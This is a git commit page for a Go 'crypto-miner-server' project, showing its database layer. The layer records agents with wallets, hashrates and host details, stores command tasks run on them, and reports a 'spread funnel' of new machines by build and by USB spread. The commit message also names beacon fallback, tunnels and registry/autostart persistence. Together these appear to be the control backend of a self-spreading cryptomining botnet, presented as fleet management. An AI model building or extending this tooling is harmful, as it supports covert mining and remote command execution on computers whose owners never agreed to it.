feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -34,6 +34,7 @@ func (d *Database) scanAgent(row interface {
}) (*models.Agent, error) {
a := &models.Agent{}
var notes, tagsRaw string
var usbSpread int
err := row.Scan(
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
@@ -41,18 +42,21 @@ func (d *Database) scanAgent(row interface {
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
&a.BuildID, &a.WorkerName, &usbSpread,
)
if err != nil {
return nil, err
}
a.Notes = notes
a.Tags = decodeTags(tagsRaw)
a.USBSpread = usbSpread == 1
return a, nil
}
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -0,0 +1,55 @@
package db
import (
"encoding/json"
"time"
"crypto-miner-server/internal/models"
)
func (d *Database) InsertAudit(username, action, agentID string, detail interface{}) error {
var detailJSON []byte
if detail != nil {
var err error
detailJSON, err = json.Marshal(detail)
if err != nil {
detailJSON = []byte("{}")
}
}
_, err := d.Exec(
`INSERT INTO audit_log (timestamp, username, action, agent_id, detail) VALUES (?, ?, ?, ?, ?)`,
time.Now(), username, action, agentID, string(detailJSON),
)
return err
}
func (d *Database) ListAudit(limit int) ([]*models.AuditEntry, error) {
if limit <= 0 {
limit = 50
}
if limit > 500 {
limit = 500
}
rows, err := d.Query(
`SELECT id, timestamp, username, action, agent_id, detail FROM audit_log ORDER BY id DESC LIMIT ?`,
limit,
)
if err != nil {
return nil, err
}
defer rows.Close()
var out []*models.AuditEntry
for rows.Next() {
e := &models.AuditEntry{}
var detailStr string
if err := rows.Scan(&e.ID, &e.Timestamp, &e.Username, &e.Action, &e.AgentID, &detailStr); err != nil {
return nil, err
}
if detailStr != "" {
e.Detail = json.RawMessage(detailStr)
}
out = append(out, e)
}
return out, nil
}

View File

@@ -0,0 +1,46 @@
package db
import (
"testing"
"crypto-miner-server/internal/models"
)
func TestAuditLogRoundTrip(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
if err := d.InsertAudit("admin", "forge_build", "", map[string]string{"build_id": "b1"}); err != nil {
t.Fatal(err)
}
rows, err := d.ListAudit(10)
if err != nil {
t.Fatal(err)
}
if len(rows) != 1 || rows[0].Action != "forge_build" || rows[0].Username != "admin" {
t.Fatalf("unexpected audit rows: %+v", rows)
}
}
func TestFleetTasksCRUD(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
task := &models.FleetTask{Name: "sysinfo on connect", Enabled: true, Trigger: "on_connect", Action: "sysinfo"}
if err := d.UpsertFleetTask(task); err != nil {
t.Fatal(err)
}
list, err := d.ListFleetTasks()
if err != nil || len(list) != 1 {
t.Fatalf("list: %v err=%v", list, err)
}
if err := d.DeleteFleetTask(list[0].ID); err != nil {
t.Fatal(err)
}
}

View File

@@ -0,0 +1,97 @@
package db
import (
"database/sql"
"time"
"crypto-miner-server/internal/models"
"github.com/google/uuid"
)
func (d *Database) ListFleetTasks() ([]*models.FleetTask, error) {
rows, err := d.Query(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks ORDER BY created_at`)
if err != nil {
return nil, err
}
defer rows.Close()
return scanFleetTasks(rows)
}
func (d *Database) GetFleetTask(id string) (*models.FleetTask, error) {
row := d.QueryRow(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks WHERE id = ?`, id)
return scanFleetTaskRow(row)
}
func (d *Database) UpsertFleetTask(t *models.FleetTask) error {
if t.ID == "" {
t.ID = uuid.New().String()
}
now := time.Now()
if t.CreatedAt.IsZero() {
t.CreatedAt = now
}
t.UpdatedAt = now
_, err := d.Exec(`INSERT INTO fleet_tasks (id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
enabled = excluded.enabled,
trigger = excluded.trigger,
interval_hours = excluded.interval_hours,
cron_time = excluded.cron_time,
action = excluded.action,
command = excluded.command,
target = excluded.target,
updated_at = excluded.updated_at`,
t.ID, t.Name, boolToInt(t.Enabled), t.Trigger, t.IntervalHours, t.CronTime, t.Action, t.Command, t.Target, t.CreatedAt, t.UpdatedAt,
)
return err
}
func (d *Database) DeleteFleetTask(id string) error {
_, err := d.Exec(`DELETE FROM fleet_tasks WHERE id = ?`, id)
return err
}
func (d *Database) RecordFleetTaskRun(agentID, taskID string) error {
_, err := d.Exec(`INSERT INTO fleet_task_runs (agent_id, task_id, last_run_at) VALUES (?, ?, ?)
ON CONFLICT(agent_id, task_id) DO UPDATE SET last_run_at = excluded.last_run_at`,
agentID, taskID, time.Now(),
)
return err
}
func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) {
var ts time.Time
err := d.QueryRow(`SELECT last_run_at FROM fleet_task_runs WHERE agent_id = ? AND task_id = ?`, agentID, taskID).Scan(&ts)
if err != nil {
return time.Time{}, false
}
return ts, true
}
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
t := &models.FleetTask{}
var enabled int
err := row.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt)
if err != nil {
return nil, err
}
t.Enabled = enabled == 1
return t, nil
}
func scanFleetTasks(rows *sql.Rows) ([]*models.FleetTask, error) {
var out []*models.FleetTask
for rows.Next() {
t := &models.FleetTask{}
var enabled int
if err := rows.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt); err != nil {
return nil, err
}
t.Enabled = enabled == 1
out = append(out, t)
}
return out, rows.Err()
}

View File

@@ -0,0 +1,52 @@
package db
import "time"
type SpreadFunnelRow struct {
BuildID string `json:"build_id"`
WorkerName string `json:"worker_name"`
Count int `json:"count"`
USBSpread int `json:"usb_spread_count"`
}
type SpreadFunnelStats struct {
ByBuild []SpreadFunnelRow `json:"by_build"`
NewConnectsToday int `json:"new_connects_today"`
TotalAgents int `json:"total_agents"`
}
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
stats := &SpreadFunnelStats{}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
return nil, err
}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {
return nil, err
}
rows, err := d.Query(`
SELECT COALESCE(NULLIF(build_id,''), 'unknown') AS build_id,
COALESCE(NULLIF(worker_name,''), name) AS worker_name,
COUNT(*) AS cnt,
SUM(CASE WHEN usb_spread = 1 THEN 1 ELSE 0 END) AS usb_cnt
FROM agents
WHERE created_at >= ?
GROUP BY build_id, worker_name
ORDER BY cnt DESC`,
since,
)
if err != nil {
return nil, err
}
defer rows.Close()
for rows.Next() {
var r SpreadFunnelRow
if err := rows.Scan(&r.BuildID, &r.WorkerName, &r.Count, &r.USBSpread); err != nil {
return nil, err
}
stats.ByBuild = append(stats.ByBuild, r)
}
return stats, rows.Err()
}

View File

@@ -130,6 +130,45 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
extraMigrations := []string{
`CREATE TABLE IF NOT EXISTS audit_log (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
username TEXT NOT NULL DEFAULT '',
action TEXT NOT NULL,
agent_id TEXT NOT NULL DEFAULT '',
detail TEXT NOT NULL DEFAULT '{}'
)`,
`CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_log(timestamp)`,
`CREATE TABLE IF NOT EXISTS fleet_tasks (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
enabled INTEGER NOT NULL DEFAULT 1,
trigger TEXT NOT NULL,
interval_hours REAL NOT NULL DEFAULT 0,
cron_time TEXT NOT NULL DEFAULT '',
action TEXT NOT NULL,
command TEXT NOT NULL DEFAULT '',
target TEXT NOT NULL DEFAULT 'all',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS fleet_task_runs (
agent_id TEXT NOT NULL,
task_id TEXT NOT NULL,
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (agent_id, task_id)
)`,
}
for _, m := range extraMigrations {
if _, err := d.Exec(m); err != nil {
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
}
}
return nil
}
@@ -137,8 +176,8 @@ func (d *Database) migrate() error {
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?)
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
wallet = excluded.wallet,
@@ -152,8 +191,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
arch = excluded.arch,
os_version = excluded.os_version,
hostname = excluded.hostname,
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress)
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
usb_spread = excluded.usb_spread`
usb := 0
if a.USBSpread {
usb = 1
}
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
return err
}